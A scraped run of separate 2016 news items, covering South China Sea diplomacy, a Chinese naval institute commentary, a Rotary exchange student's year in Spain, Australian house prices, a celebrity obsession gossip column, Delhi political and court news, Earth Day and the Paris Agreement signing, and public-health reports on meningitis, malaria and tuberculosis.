His limits for a Palestinian state require, apparently, that the "large blocs" remain under Israeli control. He learned the bitter lesson from the Gaza withdrawal and wouldn't make a unilateral agreement. And since, in his opinion, there is currently no chance of a mutual agreement, we are condemned to live under the threat of terrorism.
Visiting Chinese Foreign Minister Wang Yi (R) shakes hands with Brunei's Second Minister of Foreign Affairs and Trade YB Phein Dato Lim Jock Seng in Seri Begawan, capital of Brunei, on April 21, 2016. [Photo: Xinhua/Jeffrey Wong]

Chinese Foreign Minister Wang Yi has said that the "dual-track" approach is the most practical and feasible way to solve the South China Sea issue.

He was speaking at a news conference in Brunei's capital, following an in-depth exchange of views on the issue with Brunei's Second Minister of Foreign Affairs and Trade, YB Phein Dato Lim Jock Seng.

Wang said that both China and Brunei are littoral states of the South China Sea, and that ensuring stability in the region is in the interests of both countries.

"Both sides agreed to eliminate barriers and surmount difficulties, and to continue to push forward the 'dual-track' approach -- disputes should be resolved peacefully through negotiation between the parties directly concerned, and China and ASEAN countries should work together to maintain peace and stability in the South China Sea."

He stressed that the "dual-track" approach complied with the peaceful settlement of disputes through negotiation advocated by the UN Charter as well as the Declaration on the Conduct of Parties in the South China Sea between China and ASEAN countries.

The two sides should also earnestly implement the declaration while accelerating consultations on the Code of Conduct.

Wang Yi also warned that running counter to the "dual-track" approach could not only harm ASEAN's overall interest but also jeopardize the regional peace and stability.

Wang arrived in Brunei on Thursday for a visit to the sultanate, the first leg of his three-nation tour which will also take him to Cambodia and Laos.
YORK  The flight to Europe was snake-bit because of weather delays and re-routes, but once Mary Heng of York arrived in Alicante, Spain and met her new exchange family her 11-month Rotary International Exchange was a once-in-a-lifetime adventure from the first day to the last.

Heng, now a York High senior, spent what would have been her junior year had she remained in York learning, absorbing the culture and thoroughly falling in love with Spains people, food, architecture, history, seaside beaches  all of it in other words.

With a year of Spanish language under her belt and a yearning to visit Europe, Heng found Rotary Internationals exchange program which placed her in Spain. Local Rotarian Karla Ott, she said, worked long and hard to make everything work out.

A relatively direct flight became an odyssey of foul weather annoyances that ended up leading from Omaha to Grand Rapids, Mich., to Chicago, to London Heathrow, to London Gatwick Airport (by bus) and finally to her new hometown of Alicante.

It was a disaster, she said Wednesday afternoon.

An unlikely combination of circumstances that involved her host family selling one home, buying another and being forced to rent for a time in between resulted in Heng living first in a beach house, then in a second home before the family was able to occupy its new house in the city center.

Her new Mom and Dad were Pilar and Luis.

It felt like I was their daughter right away, she said.

Her peer hostess and adoptive sister, Lucia, was two years older than me, she said. Lucias command of English, gained on her own earlier exchange to New York, helped me a lot, Heng said.

Lucias older sister Sara attended school elsewhere and wasnt around much while Heng was there. The familys son of the same age as Heng was in California at the time.

So it was a true exchange, she said.

Then there was Chispa (Spark in English) the familys small white terrier. Chispa was Hengs first-ever pet which made that part of the experience special as well.

Her mother, Teresa Heng, came to Spain for Thanksgiving and, It was fund to have her there, said Mary.

Education in Spain is taken seriously to the point of great rigor. She attended a three-story Jesuit school was especially demanding. It also had no elevator  just lots and lots of stairs.

The food in Spain?

Its fantastic, Heng answered immediately and with enthusiasm. She said many people, mistaking Mexico for Spain, ask her about Spanish food.

Contrary to popular belief they do not have burritos or tacos, she said.

What they do have is fabulous fresh seafood and tons of it from salmon to calamari, plus chicken (yes, chicken) burgers.

I dont remember having red meat the whole time I was there, she said. What she did have in quantity and quality was bread with every meal.

Spanish language instruction was a big part of her school studies.

She really struggled in the beginning with the language, which turned out to be much different than what she learned in her York High Spanish classes. I had to try to speak the native tongue and I embarrassed myself a lot. By the end of the year I could just talk about anything.

The Spanish people, she said, march to a different life drumbeat.

They are so laid back there, she said, everyone is so calm and nice.

The big family meal on Sundays would most likely take place at 3 or perhaps 4 p.m. A small dinner would follow much later at 9, 10 or as late as midnight or 1 a.m. she said.

A castle overlooks the town from near city center. It was originally built for defense of residents, but now is a tourist attraction holding forth a marvelous view for those willing to take on the stairs, which Heng was.

The Rotary group of about 100 American students was treated to a 22-day bus tour toward the end of their years journey. A classic European double-decker bus delivered them to Paris, Amsterdam, Berlin, Brussels, Vienna, Budapest, Venice, Rome, Vatican City and many other locations across Europe.

Eight more days with her Spanish family remained after the bus trip and she arrived home July 5 of last summer.

I was fine saying goodbye to her new family, but when the plane flew over her first house on the beach the tears began to flow.

And this is creepy she said, describing how her watch just stopped as she flew away. The batteries ran out at that exact moment, causing her to realize and accept that, Its over. Now back home.

Once in Nebraska it was straight from the airport to Runza for one of the things she missed most.

People would send me pictures of them at Runza, to good-naturedly tease and torture her. Her response, she said with a grin, was to send them a picture of the beach in front of my house.

Heng made eight great friends for life among fellow exchange students from Taiwan, Spain, Brazil, Australia and elsewhere in the U.S.A.

Having completed American high school in three years, she is still on schedule to attend UNL next year to major in advertising and Spanish.

Id love to go back, she said, and see it all again. As for living in Spain one day? Perhaps, but not to raise a family.

They are so tough on their kids, in Spanish schools. Its so intense. I dont know if Id want my kids to go through that.

I do want to live in some big city some day though.

Which city in what country is - as they say - yet to be decided. Stay tuned.
Former chairman of Chinese food giant killed by falling rock at scenic spot

Weng Mao, former chairman of Chinese food giant Guan Sheng Yuan Group, was hit on the head by a falling rock and died at a scenic spot in central China, the company said on Friday.

Weng, 67, was walking down the steps in Yuntai Mountain in China's Henan province when he was accidentally hit on the head by a rock kicked down by a monkey, according to a statement released by the company.

He was rushed to the hospital after receiving emergency treatment at the scene but didnt make through, the statement said.

Weng had been in good health after retirement and was a photography enthusiast, according to local medias report after the accident.

The Shanghai-based Guan Sheng Yuan Group is a renowned Chinese food brand with a history of nearly 100 years, and is the producer of the White Rabbit candy, a popular sweet considered part of the childhood memory of many generations of Chinese people.
Commentary: It is ridiculous for US to be chronically against China on South China Sea issue

A Chinese navy patrol plane collected three sick workers from Yongshu Reef on Sunday and transported them to Sanya, a city in Hainan province.

Though this is a common humanitarian practice, the move gave rise to vocal complaints in Washington. A spokesperson for the U.S. Department of Defense questioned China's motivation for using a military aircraft instead of a civilian one to evacuate the workers.

This accusation once again reveals the tendency of the U.S. to object to Chinas every move in the South China Sea. It is a common practice among most countries to send military aircraft for disaster relief and humanitarian aid. It was actually the U.S. military that invented the term military operation other than war." This term applies to humanitarian assistance, recovery, evacuations not related to combat and government support.

The U.S., for example, sent military aircraft to help with relief efforts after the September 11 attacks in 2001 and Hurricane Katrina in 2005. After flight MH370 went missing in 2014, many countries, including the U.S., sent battleships and military aircraft to assist with the search. The Chinese Navy also dispatched a missile destroyer that was on duty near the Nansha Islands for that purpose.

Therefore, the most recent accusations of the U.S. come out of nowhere and clearly contradict the "universal values" that the country has been publicizing. Along with democracy, freedom, human rights and equality, the right to live is also a crucial human right. However, when the lives of Chinese citizens are at risk, the U.S. suddenly questions Chinas motivations in saving them.

When the U.S. reprimands China for carrying out standard construction projects on its own Nansha Islands, or when the U.S. smears Chinas construction of a lighthouse on Zhubi Reef, the country is only demonstrating its double standard when it comes to helping the lives of regular citizens. Even when China does nothing more than try to improve the lives of its citizens, the U.S. cannot get past its deeply rooted suspicions.

In addition, the U.S. itself has been inducing militarization in the South China Sea. Recently, the U.S. convinced the Philippines and several other allies to cooperate on joint military drills and patrols. Such a move, with its very pointed aim, is the real root cause of inflamed tensions in the region.

The phrase "freedom of navigation," taken from the term "navigation freedom" in the United Nations Convention on the Law of the Sea, has become an excuse for the U.S. to increase its military presence in the South China Sea. It is through this so-called "freedom of navigation" that the U.S. has violated the sovereignty and maritime rights of many coastal countries, and threatened regional peace and stability.

If the U.S. truly wants to maintain its position in the Asia-Pacific region, it must comply with international law. The U.S. should do more for the common interests of all the countries in the region, and abandon its chronic opposition to China.

(The author is a research fellow at China's Naval Research Institute)
Released this week, the March quarter Domain House Price Report has revealed that the combined capital city median house price dipped 0.5% to $719,024 during the three-month period.

Over the same period, the combined capital city unit price fell 1.1%.

In the year to March house prices in Australia have risen 6.2%, while unit prices have increased by 3.4%.

For the housing market, only Melbourne (1.2%) and Hobart (4.3%) saw growth over the quarter, while unit prices dropped in all markets except Adelaide where prices remained steady.

For Sydney, the March quarter saw house prices fall 1.5%, bringing the median house price back under $1m at $995,804 and makes it two successive quarters of price falls in the city.

The March fall now means house prices in Sydney are falling faster than they were during the GFC and could have fallen further if not for the performance of a select few pockets.

Were recording a 4.7% fall over the past two quarters and thats just above the 4.6% fall that was recorded over the entire year of 2008 when we had four consecutive quarters of falls during the GFC, Dr Wilson said.

Weve got a bit of a mixed market in Sydney at the moment. Its really the inner-suburban higher priced areas that are holding the market up. Theres been very strong growth in the lower north, particularly the lower north over the quarter, he said.

Really, if it wasnt for that we wouldve had a sharp decline in prices. Those prestige areas have really activated this year and I think a lot of that is because they were definite underperformers during the boom.

While Sydneys blue-chip stock may have been performing well, Wilson said there are signs that growth is beginning to wane in those areas and it is likely price growth will continue to flatten across the city in 2016.

Sydneys unit prices also fell for the second consecutive quarter, down by 0.7% to $656,166.

In Melbourne, the March quarters 1.2% increase to Median house price of $726,962 gave the city 14 straight quarters of house price growth and Dr Wilson said it easily holds the mantle of the nations strongest market, though growth will be relatively subdued this year.

Melbourne was quite modest, but it has now grown 14 quarters in a row. Its a quietly confident market, he said.

I think that its a market thats remarkably stable at the moment and given that, I think the prospects for Melbourne are that its likely to be the leading market this year.

I think that itll really struggle to record prices growth of over 5% for the year, which will be about a third of what it grew last year.

Melbourne unit prices fell by 1.7% over the March quarter to $444,370, which Dr Wilson said was continual evidence of the impacts of oversupply.

Dr Wilson said Brisbanes unit market, which saw price falls of 0.8% in the quarter and 3.2% in the year to March is having similar problems with over supply, but unlike Melbourne its housing performance has been disappointing given the high hopes many held for the city.

Brisbane house prices fell marginally over the March quarter for the first decrease since the September quarter 2014, with a median price of $512,809, with migration and the Queensland economy acting as a handbrake.

Theres some issue in Brisbane that are clearly structural. The first is that theres continuing problems with the local economy, weve seen the unemployment rate for Queensland ticking up over 6% and thats a key factor in keeping price growth flat.

The other point is that weve seen a significant decline in migration into south east Queensland. Its at very low levels at the moment.

Migration has been a key driver of property markets in south east Queensland and the end of the resources boom plus very strong economies in Melbourne and Sydney are keeping that migration around the southern states.

In Hobart the median house price now sits at $360,212, up 7.6% in the past 12 months as the Tasmanian capital plays catch up.

Hobart is clearly in catch up mode, the median is still under $400,000 after a period of subdued growth. Its really activated buyers on the basis of good value opportunities under $400,000 and I really think investors are getting a bit more interested.

Rents are growing for houses and vacancy rates are the lowest in the country and the yields are the highest. With such a low entry point, its always a bit of head scratcher as to why theres not more investment activity in Hobart, but of course the local economy is the key.

In Perth the March quarter saw another price fall, but Dr Wilson said it may be starting to recover.

The big issue in Perth is the local economy. There are some good signs with a sharp decline I unemployment over March and thats going to be the beginning of the journey back

Its always going to be a question of two forward and one back, but I do think Perth has a chance of finishing in the black by the end of this year.

Over the quarter, Perths house price fell 1.3% to $579,914.

In Adelaide, the median house price fell 0.5% to $491,422, while unit prices remained at $303,537.

Canberras median house price fell 1.4% to $638,696 and units dropped 2.8% to $400,637.

Darwins median house price slipped 4.9% to $610,305 and its units fell 4.1% to $448,416.
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Ever heard of an OCD? It's not a COOL slang but a psychological disorder! OCD implies 'Obsessive Compulsive Disorder' which is an anxiety disorder pigeonholed by obsessive thoughts that eventually lead to compulsive behaviour. And if you're thinking it can't happen to you then you are completely wrong as according to the American Journal of Psychology "Every individual goes through a psychological stage similar to an OCD or purely an OCD in some cases; in the span of a lifetime." If it can happen to commoners like you and I, then think about the ever-so-popular celebrities. <br><br> It is a known fact that all of us are distinct individuals, but what actually makes us vary from each other is the way we behave. We as humans have always been curious about whatever is 'weird' but not many would want to know the reason behind this bizarrity. Many would agree if I say that popularity and insanity go hand in hand, though it is not true in all the cases because as they say "Exceptions maketh man". Barring a few sane exceptions, we can very well pull in a lot of famous celebs inside the circle of crazy obsessiveness and oddness. <br><br> Okay, for a moment if I leave these celebs to their privacy and talk about myself, I can feel, as I write, that I am weird! But every time these thoughts dog me, I get a reassurance from the fact that I am surrounded by a lot of people who are 'weirder'. I am a cleanliness freak of sorts, one to that extent that I wash my hands every time I eat something (now that is not abnormal, is it?). It is definitely normal but I must confess I had reached a level of abnormality long ago when I was in my <i>paathshala</i> days. It was as insane as it may sound, it started when one day I washed my hands, washed them again and again and kept on washing them for days until the skin of my hands gave up and started peeling off. My granny thought it was time for intervention- she pulled me next to her and gave me a piece of her mind. <br><br> I got over the habit as I was more obsessed with the welfare of my then-beautiful baby skin, than I was with washing hands. Guess I was young and smart to mend my ways and shrug off the supposed OCD but not everyone's that lucky, are they? There are people who have learnt to live with it (their obsessions) and are forcing others to put up with it as well. <br><br> End of flashback, back to present- My behaviour is now modified (at least that is what people say) and I don't wash my hands that often. But now I am obsessed about knowing of other people's obsessions and compulsions and guess where my obsession took me? It took me to the closets of the biggies of the world of glamour, to sieve into their privacy and get out some shocking revelations about the otherwise seemingly 'sane' celebs. <br><br> Ever wondered what Shah Rukh, the King Khan is obsessed with? Nah... It isn't Karan, Gauri or for that matter even his kids. The answer is chips (not gold ones but the ones made of POTATO). Yeah, the crispy, golden potato chips are giving SRK sleepless nights and quite literally, as when the ace actor starts munching them, he can't stop at one packet (remember the tagline "No one can eat just one") and ends up having lots of them (lots means lots as in he's had 20 packets of them in a row once). It is believed that Khan keeps away from the pack of golden crispies because he finds them irresistible. I am feeling sorry for his kids- Aryan and Suhana, wonder if they've ever got to taste a single one in daddy's absence! <br><br> Since SRK's my fav, here goes another one from the King Khan stable. According to Khan's biography 'Still Reading Khan', SRK avoids opening gift packs in public because he likes to tear them open (in an aggressive way) which obviously becomes an embarrassment for the star later on. Mushtaq Shiekh, the author, says that the actor has confessed he is obsessed with the idea of tearing off gift packs in a violent fashion and it is this obsession which compels him to act in a childlike manner. <br><br> Now let me give you something about Mary aka Cameron Diaz. The very likable actress has won notoriety for one of her obsessions. Diaz, for some strange reason, can't let herself touch door knobs and opens all the doors around her without putting her wrists on the knob as she feels that they carry germs and to avoid contact with invisible creepy-crawlies, she opens the doors with the help of her elbows. Apparently, the actress landed in some deep trouble when she rubbed off the metal polish of her hotel room's doors in order to clean them! <br><br> Actor Aftab Shivdasani has a habit of peeling off the skin of his wrists. According to reports, the actor used a safety pin to do the same when he was in school and is still not done with the habit, but tries to keep it undercover by saying that it is an allergy. Guess the actor has enough time at his hands with no movies around! I have been told since childhood that it is good to keep your surroundings clean and green, but whatever Ameesha Patel made out of that teaching is super-sonically weird. It kills me to even mention it, the actress (or shall I say former?) has a penchant for CLEAN toilets, so much so that she cleans her commode every damn day! And you ought to know this, when Amee is doing an outdoor shoot, she cleans the commode of her hotel/ restroom too (Aww... now I have a better understanding of why she has been losing out on so much of work, I mean who won't lose it after cleaning THAT?). <br><br> Let's move on from cleaning s*** pots to pinching bottoms, ahem... ahem... and who does it after all? It is none other than 'Ginger Spice' Geri Halliwel. The <i>Mi Chico Latino</i> singer is obsessed with pinching bottoms. Yep and she's had the likes of Madonna, Victoria Beckham and even Prince Charles as her guests of (bottom pinching) honour. When asked about this peculiar liking of hers, Ginger says "I have pinched everyone's bottom. Why am I going to stop at anyone? It is not bad". Well might not be that bad for some after all! <br><br> If that wasn't all, Demi Moore's babylicious hubby Ashton Kutcher likes to pee in his backyard with his pet doggies every morning and says he likes it that way and if this ain't a weird obsession what is it then? <br><br> Obsessions and compulsions that I have mentioned till now were funnily weird but there are some which are awfully weird, one of them being Drew Barrymore's obsession with vinegar. It is reported that the chirrupy actress started drinking vinegar after someone told her that it was a nice way to keep fat at bay but soon the dietic tip turned out to be a haphazard when she developed an addiction for vinegar and started getting cravings for the same even during the middle of her film shoots. So while her fellow actors used to have energy boosting drinks in between their shots, Ms Barrymore used to relish vinegar. Though the actress denies having anything to do with vinegar now, many believe she still hasn't left it completely. Cheers in that case. <br><br> The looniest of all the celebrities, Amy Winehouse, is obsessed with makeup. According to OK magazine, the 'not in her senses' singer sleeps with her make up on and had taken her makeup kit along when she went to the rehab for drug addiction. <br><br> The big bad world of glamour is a playground for such obsessions. Since all these disorders have co-relation with the past activities of an individual, these psychological troubles are come and go with changing scenarios in an individual's life. It is very hard to gauge the reasons behind these obsessions, all one can do perhaps is take notice of them, try and rectify them or else learn to live with them. <br><br> <b>Moral of the story</b>: Dig into your inner self and accept what (if existent ) is an obsession and just dont shrug it off or else you will keep on getting compelled to do weird stuff. <br><br> Now it is that time again when I am getting an itch in my hand, seems it is the time to wash hands and move to purity (if only it was that easy to put behind the grime).
New Delhi: Delhi High Court on Friday sought response from Aam Aadmi Party (AAP) government over a plea seeking CBI probe in alleged bribery charges against Food and Supplies Minister Imran Hussain.

The Arvind Kejriwal-led government told court that it needs some time to file a status report on the corruption charges levelled against Hussain by the Congress.

Court fixed the next date for hearing on July 27.

In February, the Congress had alleged that Hussain's staffer had been caught on camera demanding bribe on his behalf.

Congress had demanded immediate resignation of the Delhi Minister, alleging a sting operation has purportedly revealed that a Rs 30 lakh bribe was demanded by a person for regularising an illegal construction in Ballimaran area of north Delhi on his behalf, a charge denied by the AAP leader.

Delhi Congress chief Ajay Maken released a sting video, purportedly showing a man seeking money from one Qaseem. Maken claimed the man was Hammad, a staffer at Hussain's office. The man was also heard saying that they had to "give money" to get an AAP ticket in the assembly polls.

Hussain was made minister in October last, replacing Asim Ahmed Khan who was sacked by Delhi Chief Minister for demanding a bribe of Rs 6 lakh from a builder.
New Delhi: A request for reinstatement by Delhi University professor GN Saibaba, who is out on bail in a case of alleged Maoist links, has resulted in a confrontation between a section of students and university teachers.

While the Delhi University Teachers Association (DUTA) is supporting the 90 per cent disabled professor on the issue of reinstatement, a group of students led by members of ABVP is opposing it claiming the move will have a "bad influence" on students.

An English professor at Ram Lal Anand College, Saibaba was suspended from DU following his arrest by Maharashtra Police in 2014 for alleged Maoist links. He was lodged in Nagpur Central Jail for 14 months and granted bail in July 2015 after the court noticed his deteriorating health condition.

However, the bail was cancelled and he was re-arrested in December last.

The Supreme Court had earlier this month granted him bail saying Maharashtra government has been "extremely unfair" to him.

"I have requested the college to reinstate my services so I can get back to leading a normal life. I have been informed that a one-member committee has been formed by the college to look into the issue," Saibaba said.

The decision to form the committee was taken at a Governing Body (GB) meeting of the college in which representative of DUTA supported his demand.

However, members of ABVP led by Delhi University Students' Union Joint Secretary Chhatrapal Yadav staged a protest outside college yesterday and submitted a memorandum to the authorities.

"He should not be allowed to join back because this will set a wrong precedent as well as have a bad influence on students. If the administration goes ahead with it, we will oppose the move," Yadav said.

When contacted, College Principal Vijay K Sharma said, "The committee will look into the issue and a final decision will be taken only on basis of its recommendations."
New Delhi: AAP legislator Alka Lamba has been summoned as accused by a Delhi court for allegedly trespassing and vandalising a shop here and obstructing police from performing their duty last year.

Metropolitan Magistrate Abhilash Malhotra took cognisance of the charge sheet filed by Delhi Police against Lamba and directed her to appear before the court on May 18.

Lamba has been chargesheeted for alleged offences under sections 186 (obstructing public servant in discharge of public functions), 353 (assault or criminal force to deter public servant from discharge of his duty), 427 (mischief causing damage to property), 451 (house-trespass) and 34 (common intention) of the IPC.

"The present charge sheet is filed under sections 186, 353, 427, 451 and 34 of IPC against MLA Alka Lamba. It is stated in the charge sheet that on August 9, 2015, Alka Lamba along with some other persons committed trespass in the shop of complainant and threw cash bill machine, vandalised the counter and obstructed and deterred the police personnel.

"Keeping in view the material on record, I take cognisance of the offence under section 190(1)(c) of CrPC against the accused. Accordingly, accused Alka Lamba be summoned through SHO concerned for May 18," the court said.

An FIR was lodged against the AAP MLA from Chandni Chowk on August 10 last year, a day after she was hit and had received head injuries in a stone-pelting attack during her anti-drug campaign in the Kashmere Gate area.

The case was registered at Kashmere Gate Police Station on a complaint by traders including the proprietor of a sweet shop, Shiv Mishthan Bhandar.

The case was lodged against Lamba after a video clip emerged in which she was allegedly seen vandalising shops along with some of her supporters.

According to the police, the CCTV camera footage recovered from the shop showed Lamba toppling the billing machine while one of her colleagues was seen pushing everything from a table and jostling with cops.

Lamba had claimed the 30 second CCTV footage was from Sharma's shop and it was shot after she was attacked.

On her part, Lamba had filed a complaint with the Delhi Commission for Women against BJP MLA OP Sharma for calling her a "drug addict".

She had said the raid was aimed at shops in the area which were operating illegally and helping drug peddlers. Police had registered a case in connection with the attack on Lamba and arrested one person.
New Delhi: Haryana Chief Minister Manohar Lal Khattar has lauded the Delhi government's odd-even vehicular rationing scheme and said that it has not only eased traffic movement in the national capital but also in his state.

Khattar's statement may leave many of his party colleagues red faced, particularly the Delhi BJP unit, which sees the Kejriwal-led government as its main rival.

However, the Jat leader has a word of advice. In a democracy, all political parties have the right to do what is good for the state.

I don't want to comment on what the Delhi BJP thinks. You talk about Haryana and what needs to be done here, or anything related Haryana. I will speak, he said.

Khattar lauded the odd-even scheme and said that somewhere there has been an impact.

I think there has been an impact due to the odd-even scheme - there is less traffic and pollution.

At a personal level, I don't think the scheme is bad.. there is no difficulty. It is good. My car has come back today within 20 minutes.

It used to take 30 minutes but because of odd-even we saved 10 minutes,he said.

There used to be tremendous pressure on the National Highway No 8 in Gurgaon due to the heavy traffic in Delhi. Now, because of the odd-even in Delhi that pressure has substantially reduced, Khattar said.

Our government has also taken some steps to ease the traffic movement in Gurgaon. We are constructing underpasses to ease the traffic at certain places, he said, adding After the completion of these projects, the traffic situation in Gurgaon will greatly enhance.
New Delhi: This day, the 22nd of April, is being celebrated as Earth Day every year, a common practice where people across the globe plant new trees in a bid to help preserve and save the planet.

On this day, millions of people led by environmental activists take part in a range of activities from tree planting to picking up litter.

The first Earth Day - April 22, 1970 - marked the beginning of the modern environmental movement.

This Earth Day and beyond, let us get involved and do our part to help save the planet. Here are a few ways you can start doing to make the enviromment healthier and safer no matter where you live:
New Delhi: As the world marks the Earth Day to make the human race realise the importance of the Mother Earth, Prime Minister Narendra Modi on Friday urged the nation to offer 'reverence and gratitude' to mother earth, which has given mankind everything it needs for survival.

The Prime Minister took to micro-blogging site Twitter to convey his message.

See his tweet below:

On #EarthDay, reverence and gratitude to our planet that has given us everything. pic.twitter.com/qgVWPlfAPS  Narendra Modi (@narendramodi) April 22, 2016

Meanwhile, as many as 170 countries, including India, will officially sign the Paris Agreement on climate change today.The signing makes this year's Earth Day one of the most important in years

At a high-level ceremony convened by United Nations Secretary-General Ban Ki-moon in New York, Minister of State for Environment, Forests and Climate Change Prakash Javadekar will sign the agreement.

The agreement was adopted by more than 190 countries in the French capital in December last year.

India had advocated a strong and durable climate agreement based on the principles and provisions of the United Nations Framework Convention on Climate Change. nt.

The ceremony today will set a record for international diplomacy as never before have so many countries inked an agreement on the first day of the signing period.

Earth Day is being celebrated as an annual event on April 22 since 1970 to demonstrate support for environmental protection. The event is now coordinated globally by the Earth Day Network and celebrated in more than 193 countries each year.

(With ANI inputs)
Surat: In more trouble for controversial godman Asaram Bapu, the Income Tax department has slapped Rs 750 crore fine on him and his son Narayan Sai.

Speaking on the charges levelled against self-styled godman and his son, Assistant Commissioner of Police Mukesh Patel was quoted as saying by ANI, ''Raids against both the spiritual gurus had led to recovery of hoards of cash and property papers.''

According to Patel, 42 bags containing crores of rupees were recovered during the raid, after which the Income Tax Department imposed a fine of rupees 750 crore on both.

This was also confirmed by Asaram's lawyer Kalpesh Desai.
Rohtak: Congress leader Ashok Kaka was on Friday morning shot dead by unidentified gunmen in Haryana's Rohtak district, which is trying hard to come over Jat agitation.

Ashok Kaka was the aide of former Haryana chief minister Bhupinder Singh Hooda.

The incident occurred at around 6.30 am in a park in Model Town area, when Kaka was out for a morning walk.

According to reports, three men stormed into the park and shot at the leader's chest from a point blank range.

News agency ANI quoted unconfirmed sources as saying that three bullets were pumped into the Congress leader's chest.

Kaka was rushed to a nearby hospital, where he was declared brought dead.

The motive behind the attack is yet to be ascertained and the culprits are still at large.

(With ANI inputs)
Rohtak: Congress leader Ashok Kaka was shot dead on Friday allegedly by three unidentified persons when he was out on a morning walk here, police said.

Three assailants, who came on a motorcycle, shot the 60-year-old leader in the Model Town area this morning.

Rohtak's DSP (Headquarters) Vijender Singh said the police have detained a youth and are questioning him.

Police suspect the victim was killed over some land dispute.

Kaka was considered close to former chief minister Bhupinder Singh Hooda.

An aide of Hooda said in Chandigarh the former CM had gone to meet Kaka's family.

Earlier in the day, Rohtak's SSP, Shashank Anand had said that Kaka used to be head of Railway Road Market Association here and probably also had a jewellery outlet there.

"He was attacked by three assailants when he was on a morning walk in a park," Anand had said.

The SSP said Ashok was rushed to PGIMS at Rohtak, where he was declared dead on arrival.

Asked what could be the motive behind the killing, he said, "We have got some information that he had some land dispute with his brother. There is also information he had a land dispute with another party. We are trying to develop these pieces of information as we investigate the case."
Abidjan (Ivory Coast): Spinal meningitis, which can kill in 24 hours, poses a threat to 450 million Africans this year, according to medical experts from eight of the continent's countries.

Meningococcal meningitis is a global burden that affects 1.2 million people every year and causes the death of 135,000 of them, said the doctors from west and central Africa.

Twenty-six countries that make up the so-called "African meningitis belt that stretches from Senegal to Ethiopia -- an area home to 450 million people -- may be heavily affected by epidemic outbreaks," said the doctors at a press conference.

"Meningitis is still a problem, we must react to avoid tragedy," said Dr Elia Gilbernair, a medic at pharmaceutical giant Sanofi which organised the conference.

Dr Gilbernair added that countries don't make calls for stockpiles of meningitis vaccines until the last moment, when an epidemic is declared.

Mali's Professor Mamadou Keita Marouf called for a mass vaccination programme to help prevent the disease responsible for "practically decimating a generation".

Professor Ye Ouattara Diarra, from Burkina Faso, described meningitis as a public health problem and called for increased monitoring to help detect cases early.

The World Health Organization (WHO) warned in December of a risk of fresh meningitis outbreaks this year in Africa, particularly Niger and Nigeria which were both badly hit in 2015.

Meningitis is an acute inflammation of the protective membranes covering the brain and spinal cord and can be life- threatening.

Symptoms include high fever, a stiff neck, vomiting and severe headaches.
New York: Nations on the verge of eliminating malaria risk falling short of their goal, just as it lies within reach, due to funding being shifted elsewhere, researchers said on Thursday.

Global aid has moved to areas where malaria remains widespread, while internal domestic funding gets diverted to fighting other diseases perceived as more urgent, said researchers from the University of California, San Francisco, in a study published in The Lancet medical journal.

Once a leading cause of death and illness, malaria has been wiped out in half the world`s countries, experts say.

Nations on the verge of eliminating the disease include China, Mexico, Turkey and South Africa, the study said.

Overall, such countries where eliminating malaria is within reach are expected to face a one-third drop in international funding, the research said.

The biggest financier in the fight is the Global Fund to Fight AIDS, Tuberculosis and Malaria, which receives funding from the Bill and Melinda Gates Foundation.

The Gates organization also provided grant money for the University of California study.

Nations that recently eliminated the mosquito-borne illness include Armenia, Morocco, Turkmenistan and the United Arab Emirates.

Malaria can prove troublesome because quasi-eradication can be followed by resurgence, Richard Feachem, the paper`s senior author, told the Thomson Reuters Foundation in a telephone interview.

More than 60 resurgences of malaria have occurred since about 1930, failures he attributed to emboldened politicians and governments willing to cut budgets for fighting the disease.

"It becomes out of sight, out of mind," he said.

Looking at 35 countries with current low malaria transmission, the study found signs of diminishing political and financial commitment.

That amounts to "the greatest threat to malaria elimination," the paper said.

Europe on Wednesday became the world`s first region to wipe out malaria entirely, a milestone announced by the World Health Organization.

Last year, there were 214 million cases of the disease, and it killed 438,000 people, most of them in sub-Saharan Africa.

World leaders committed to ending the disease by 2030 when they adopted the Sustainable Development Goals last year at the United Nations.
Zee Media Bureau

New Delhi: In what could be called as another significant addition in the field of health, some Britain-based technologists have come up with a smartphone-sized handheld DNA analyser that may diagnose deadly tuberculosis (TB) in just 15-20 minutes.

This Britain-based technology company claims that this device runs on a solar-powered battery and is a low-cost handheld device.

"Q-Poc", as it is called, may analyse biological samples submitted via a small-sized cartridge, the Guardian reported.

Swabs can be used to detect sexually-transmitted infections (STIs) while sputum is used to detect TB, its makers claimed.

"We are now at the point that we have a working prototype that can perform a highly sensitive tuberculosis test from a sample through to results in 15-20 minutes," Jonathan OHalloran, the companys co-founder, was quoted as saying.

According to its developers, Q-Poc analyses the DNA of pathogens rather than proteins within the sample.

The device uses microfluidic technology that allows fluids to pass through various microscopic channels.

A chemical process then breaks down the sample into a molecular soup. It is then sent through a nanoscale-based filter system that isolates the DNA for analysis.

The company plans to launch the product for the use by health care providers by as early as 2018.

(With IANS inputs)
New Delhi: The 2016 Indian summer in on course to be the hottest ever, as per weather trends so far this year.

The Ministry of Earth Sciences (MoES) has said that 2016 could be one of the warmest years of the century for India.

Lead meteorologist at the ministry, Dr M Rajeevan, said January, February and March have already proved to be warm this year, as per The Indian Express.

The US' National Oceanic and Atmospheric Administration (NOOA) has also stated that 2016 is likely to beat 2015 as the hottest year on record globally.

The India Meteorological Department (IMD) has also expressed apprehensions that with several parts of India recording above normal temperatures in early 2016, the coming summer could prove to be the hottest ever.

2015 was the hottest year ever recorded. Our forecast for the summer already talks of above normal temperatures."

If you also look at the summer temperature until now, it looks that 2016 summer will be hottest, said IMD director general Laxman Singh Rathore, as per PTI.

One of the reasons that could push temperatures up this year is the El Nino phenomena, which is likely to become neutral in the coming months.

The strong El Nino conditions over the Pacific Ocean that started in 2015 are still continuing. However, the latest forecasts indicate that El Nino conditions are likely to weaken further and reach weaker El Nino conditions during the 2016 hot weather season."

It has been observed that during the hot weather seasons followed by El Nino years (for example: 1973, 1995, 1998, 2003, 2010, etc. followed by the El Nino years of 1972, 1994, 1997, 2002 and 2009), above normal temperatures including moderate to severe heat wave conditions were experienced in most parts of India, the IMD said.

The IMD has already made a forecast of a summer that will witness above normal temperatures, with several parts of the country expected to face heat wave like conditions.
The United Nations: As many as 175 countries, including India, China and the US, signed the Paris Agreement on climate change at the UN headquarters in New York on Friday, which coincided with 'International Mother Earth Day'.

This was the first day of the signing ceremony of the historic global deal, marking a significant step that has brought together developing and developed nations for beginning work on cutting down greenhouse gas emissions to combat global warming.

Environment Minister Prakash Javadekar signed the agreement in the UN General Assembly hall at a high-level ceremony hosted by UN Secretary-General Ban Ki-moon. The ceremony was attended by heads of government, ministers, corporate leaders and artists.

"This is a moment in history. Today you are signing a new covenant with the future," Ban said, adding that, "We are in a race against time."

